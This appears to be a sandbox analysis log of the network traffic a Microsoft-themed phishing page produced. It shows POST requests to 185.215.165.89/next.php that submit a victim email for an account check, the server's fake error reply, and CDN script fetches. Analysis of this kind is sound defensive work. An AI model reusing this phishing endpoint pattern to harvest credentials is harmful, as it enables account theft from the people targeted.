Oct 1, 2024 12:21:11.064325094 CEST	1.1.1.1	192.168.2.6	0xf185	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 1, 2024 12:21:11.064325094 CEST	1.1.1.1	192.168.2.6	0xf185	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

code.jquery.com

stackpath.bootstrapcdn.com

maxcdn.bootstrapcdn.com

cdnjs.cloudflare.com

6146851516-1323985617.cos.na-ashburn.myqcloud.com

aadcdn.msauth.net

aadcdn.msftauth.net

fs.microsoft.com

slscr.update.microsoft.com

185.215.165.89

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49730	185.215.165.89	80	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 12:21:04.822916985 CEST	383	OUT	POST /6146851516/next.php HTTP/1.1 Host: 185.215.165.89 Connection: keep-alive Content-Length: 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
Oct 1, 2024 12:21:07.385988951 CEST	329	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 01 Oct 2024 10:21:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 10{"status":false}0
Oct 1, 2024 12:21:07.983103037 CEST	468	OUT	POST /6146851516/next.php HTTP/1.1 Host: 185.215.165.89 Connection: keep-alive Content-Length: 40 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 63 6f 6d 70 6c 61 69 6e 74 73 2e 73 70 70 67 40 68 73 63 6e 69 2e 6e 65 74 Data Ascii: do=check&email=complaints.sppg@hscni.net
Oct 1, 2024 12:21:08.424300909 CEST	412	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 01 Oct 2024 10:21:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Data Raw: 36 33 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 57 65 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 61 6e 20 61 63 63 6f 75 6e 74 20 77 69 74 68 20 74 68 61 74 20 75 73 65 72 6e 61 6d 65 2e 20 54 72 79 20 61 6e 6f 74 68 65 72 20 61 63 63 6f 75 6e 74 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 63{"status":"error","message":"We couldn't find an account with that username. Try another account."}0
Oct 1, 2024 12:21:53.428354025 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49740	185.215.165.89	80	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 12:21:09.102899075 CEST	286	OUT	GET /6146851516/next.php HTTP/1.1 Host: 185.215.165.89 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Oct 1, 2024 12:21:09.728322983 CEST	201	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 01 Oct 2024 10:21:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.0.30 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 1, 2024 12:21:09.738408089 CEST	286	OUT	GET /6146851516/next.php HTTP/1.1 Host: 185.215.165.89 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Oct 1, 2024 12:21:09.924676895 CEST	201	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 01 Oct 2024 10:21:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.0.30 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 1, 2024 12:21:54.928391933 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:01 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 70 51 43 56 72 66 42 39 35 6b 4b 38 6d 77 32 38 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 37 65 36 62 31 39 31 30 39 32 32 61 34 33 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: pQCVrfB95kK8mw28.1Context: 57e6b1910922a433
2024-10-01 10:21:01 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-01 10:21:01 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 70 51 43 56 72 66 42 39 35 6b 4b 38 6d 77 32 38 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 37 65 36 62 31 39 31 30 39 32 32 61 34 33 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 54 6e 52 55 58 43 64 33 71 65 79 52 46 31 6e 45 33 76 2b 6b 4c 56 59 46 55 53 62 48 68 69 74 69 50 63 45 2f 78 65 79 37 32 68 58 4b 2f 38 38 61 70 4b 56 56 64 70 57 73 41 6f 69 6f 36 63 4e 76 54 33 37 7a 47 35 53 5a 41 52 44 6c 37 37 71 2b 43 57 79 6c 32 50 4d 31 4e 50 6c 30 72 67 78 6a 5a 75 66 39 4c 64 43 66 59 64 6e 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: pQCVrfB95kK8mw28.2Context: 57e6b1910922a433<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATTnRUXCd3qeyRF1nE3v+kLVYFUSbHhitiPcE/xey72hXK/88apKVVdpWsAoio6cNvT37zG5SZARDl77q+CWyl2PM1NPl0rgxjZuf9LdCfYdn8
2024-10-01 10:21:01 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 70 51 43 56 72 66 42 39 35 6b 4b 38 6d 77 32 38 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 37 65 36 62 31 39 31 30 39 32 32 61 34 33 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: pQCVrfB95kK8mw28.3Context: 57e6b1910922a433<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-01 10:21:01 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-01 10:21:01 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 30 71 75 44 6e 53 47 51 30 79 35 55 69 65 33 4f 30 47 48 72 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: V0quDnSGQ0y5Uie3O0GHrA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49715	151.101.2.137	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:02 UTC	602	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:02 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2172573 Date: Tue, 01 Oct 2024 10:21:02 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740054-EWR X-Cache: HIT, HIT X-Cache-Hits: 42, 0 X-Timer: S1727778063.703462,VS0,VE1 Vary: Accept-Encoding
2024-10-01 10:21:02 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-10-01 10:21:02 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2024-10-01 10:21:02 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2024-10-01 10:21:02 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-10-01 10:21:02 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-10-01 10:21:02 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-10-01 10:21:02 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-10-01 10:21:02 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-10-01 10:21:02 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-10-01 10:21:02 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49718	104.18.10.207	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:02 UTC	613	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
